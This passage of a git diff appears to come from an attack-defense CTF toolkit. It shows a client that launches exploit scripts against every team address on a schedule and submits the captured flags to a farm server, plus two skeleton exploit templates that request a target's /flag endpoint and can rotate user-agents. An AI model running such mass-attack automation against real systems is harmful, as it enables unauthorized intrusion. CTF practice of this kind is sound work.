register_start()/register_stop(). + """ + + def __init__(self): + self._counter = 0 + self.instances = {} + + self.n_completed = 0 + self.n_killed = 0 + + def register_start(self, process): + instance_id = self._counter + self.instances[instance_id] = process + self._counter += 1 + return instance_id + + def register_stop(self, instance_id, was_killed): + del self.instances[instance_id] + + self.n_completed += 1 + self.n_killed += was_killed + + +instance_storage = InstanceStorage() +instance_lock = threading.RLock() + + +def launch_sploit(args, team_name, team_addr, attack_no, flag_format): + # For sploits written in Python, this env variable forces the interpreter to flush + # stdout and stderr after each newline. Note that this is not default behavior + # if the sploit's output is redirected to a pipe. + env = os.environ.copy() + env['PYTHONUNBUFFERED'] = '1' + + command = [os.path.abspath(args.sploit)] + if args.interpreter is not None: + command = [args.interpreter] + command + if team_addr is not None: + command.append(team_addr) + need_close_fds = (not os_windows) + + if os_windows: + # On Windows, we block Ctrl+C handling, spawn the process, and + # then recover the handler. This is the only way to make Ctrl+C + # intercepted by us instead of our child processes. + kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True) + proc = subprocess.Popen(command, + stdout=subprocess.PIPE, stderr=subprocess.STDOUT, + bufsize=1, close_fds=need_close_fds, env=env) + if os_windows: + kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, False) + + threading.Thread(target=lambda: process_sploit_output( + proc.stdout, args, team_name, flag_format, attack_no)).start() + + return proc, instance_storage.register_start(proc) + + +def run_sploit(args, team_name, team_addr, attack_no, max_runtime, flag_format): + try: + with instance_lock: + if exit_event.is_set(): + return + + proc, instance_id = launch_sploit(args, team_name, team_addr, attack_no, flag_format) + except Exception as e: + if isinstance(e, FileNotFoundError): + logging.error('Sploit file or the interpreter for it not found: {}'.format(repr(e))) + logging.error('Check presence of the sploit file and the shebang (use {} for compatibility)'.format( + highlight('#!/usr/bin/env ...', [Style.FG_GREEN]))) + else: + logging.error('Failed to run sploit: {}'.format(repr(e))) + + if attack_no == 1: + shutdown() + return + + try: + try: + proc.wait(timeout=max_runtime) + need_kill = False + except subprocess.TimeoutExpired: + need_kill = True + if attack_no <= args.verbose_attacks: + logging.warning('Sploit for "{}" ({}) ran out of time'.format(team_name, team_addr)) + + with instance_lock: + if need_kill: + proc.kill() + + instance_storage.register_stop(instance_id, need_kill) + except Exception as e: + logging.error('Failed to finish sploit: {}'.format(repr(e))) + + +def show_time_limit_info(args, config, max_runtime, attack_no): + if attack_no == 1: + min_attack_period = config['FLAG_LIFETIME'] - config['SUBMIT_PERIOD'] - POST_PERIOD + if args.attack_period >= min_attack_period: + logging.warning("--attack-period should be < {:.1f} sec, " + "otherwise the sploit will not have time " + "to catch flags for each round before their expiration".format(min_attack_period)) + + if max_runtime is not None: + logging.info('Time limit for a sploit instance: {:.1f} sec'.format(max_runtime)) + else: + logging.info('Time limit for a sploit instance: endless') + + with instance_lock: + if instance_storage.n_completed > 0: + # TODO: Maybe better for 10 last attacks + logging.info('Total {:.1f}% of instances ran out of time'.format( + float(instance_storage.n_killed) / instance_storage.n_completed * 100)) + + +PRINTED_TEAM_NAMES = 5 + + +def get_target_teams(args, teams, attack_no): + if args.not_per_team: + teams = {'*': '*'} + + if args.distribute is not None: + k, n = args.distribute + teams = {name: addr for name, addr in teams.items() + if binascii.crc32(addr.encode()) % n == k - 1} + + if teams: + if attack_no <= args.verbose_attacks: + names = sorted(teams.keys()) + if len(names) > PRINTED_TEAM_NAMES: + names = names[:PRINTED_TEAM_NAMES] + ['...'] + logging.info('Sploit will be run on {} teams: {}'.format(len(teams), ', '.join(names))) + else: + logging.error('There is no teams to attack for this farm client, fix "TEAMS" value ' + 'in your server config or the usage of --distribute') + + return teams + + +def main(args): + try: + fix_args(args) + except (ValueError, InvalidSploitError) as e: + logging.critical(str(e)) + return + + print(highlight(HEADER)) + logging.info('Connecting to the farm server at {}'.format(args.server_url)) + + threading.Thread(target=lambda: run_post_loop(args)).start() + + config = flag_format = None + pool = ThreadPoolExecutor(max_workers=args.pool_size) + + if args.endless: + print() + for warn in range(5): + logging.warning("Be careful! We won't restart your sploit if it fails") + print() + + for attack_no in once_in_a_period(args.attack_period): + try: + config = get_config(args) + flag_format = re.compile(config['FLAG_FORMAT']) + except Exception as e: + logging.error("Can't get config from the server: {}".format(repr(e))) + if attack_no == 1: + return + logging.info('Using the old config') + teams = get_target_teams(args, config['TEAMS'], attack_no) + if not teams: + if attack_no == 1: + return + continue + + max_runtime = None + + if not args.endless: + max_runtime = args.attack_period / ceil(len(teams) / args.pool_size) + + if not args.endless or attack_no == 1: + + print() + logging.info('Launching an attack #{}'.format(attack_no)) + + show_time_limit_info(args, config, max_runtime, attack_no) + + for team_name, team_addr in teams.items(): + pool.submit(run_sploit, args, team_name, team_addr, attack_no, max_runtime, flag_format) + + +def shutdown(): + # Stop run_post_loop thread + exit_event.set() + # Kill all child processes (so consume_sploit_output and run_sploit also will stop) + with instance_lock: + for proc in instance_storage.instances.values(): + proc.kill() + + +if __name__ == '__main__': + try: + main(parse_args()) + except KeyboardInterrupt: + logging.info('Got Ctrl+C, shutting down') + finally: + shutdown() diff --git a/sploits/template.py b/sploits/template.py new file mode 100644 index 0000000..5eecaf5 --- /dev/null +++ b/sploits/template.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests + +USE_CUSTOM_USER_AGENT = False +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + + +def exploit(target_ip): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # TODO: IMPLEMENT YOUR EXPLOIT LOGIC HERE + try: # example + url = f"http://{target_ip}:8080/flag" + + r = requests.get(url, headers=headers, timeout=4) + r.raise_for_status() + + for flag in FLAG_RX.findall(r.text): + flags.add(flag) + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + + try: + found_flags = exploit(target_ip) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/sploits/template_attack_data.py b/sploits/template_attack_data.py new file mode 100644 index 0000000..23a9569 --- /dev/null +++ b/sploits/template_attack_data.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python3 +import sys +import re +import random +import requests + +USE_CUSTOM_USER_AGENT = False +ATTACK_DATA_URL = "http://N.N.N.N" +FLAG_RX = re.compile(r"[A-Z0-9]{31}=") + +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" +] + + +def get_attack_data(target_ip): + """ + Download attack data and return data for the target. + + TODO: + Adapt this function to the attack data format used by the current farm. + + Common examples: + + {"10.10.10.5": {...}} + -> return data.get(target_ip, {}) + + {"service": {"10.10.10.5": {...}}} + -> return data.get("service", {}).get(target_ip, {}) + + {"5": {...}} + -> team_id = target_ip.split(".")[-1] # Or another way to get it + return data.get(team_id, {}) + """ + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + try: + r = requests.get(ATTACK_DATA_URL, headers=headers, timeout=3) + r.raise_for_status() + + data = r.json() + + if not isinstance(data, dict): + return {} + + # TODO: Replace this line according to the attack data structure. + return data.get(target_ip, {}) + + except requests.RequestException as e: + print(f"[-] Failed to fetch attack data: {e}", file=sys.stderr, flush=True) + return {} + except ValueError as e: + print(f"[-] Invalid JSON received: {e}", file=sys.stderr, flush=True) + return {} + + +def exploit(target_ip, team_data): + flags = set() + + headers = {} + if USE_CUSTOM_USER_AGENT: + headers["User-Agent"] = random.choice(USER_AGENTS) + + # ------------------------------------------------------------------------- + # TODO: IMPLEMENT YOUR EXPLOIT LOGIC HERE + try: # example + token = team_data.get("token") + if token: + headers["X-Auth-Token"] = token + + url = f"http://{target_ip}:8080/flag" + r = requests.get(url, headers=headers, timeout=4) + + for flag in FLAG_RX.findall(r.text): + flags.add(flag) + + except requests.RequestException as e: + print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) + # ------------------------------------------------------------------------- + + return flags + + +def main(): + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) + sys.exit(1) + + target_ip = sys.argv[1] + team_data = get_attack_data(target_ip) + + try: + found_flags = exploit(target_ip, team_data) + + if found_flags is None: + found_flags = [] + elif isinstance(found_flags, str): + found_flags = [found_flags] + + for flag in found_flags: + clean_flag = str(flag).strip() + if FLAG_RX.fullmatch(clean_flag): + print(clean_flag, flush=True) + + except Exception as e: + print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) + + +if __name__ == "__main__": + main() \ No newline at end of file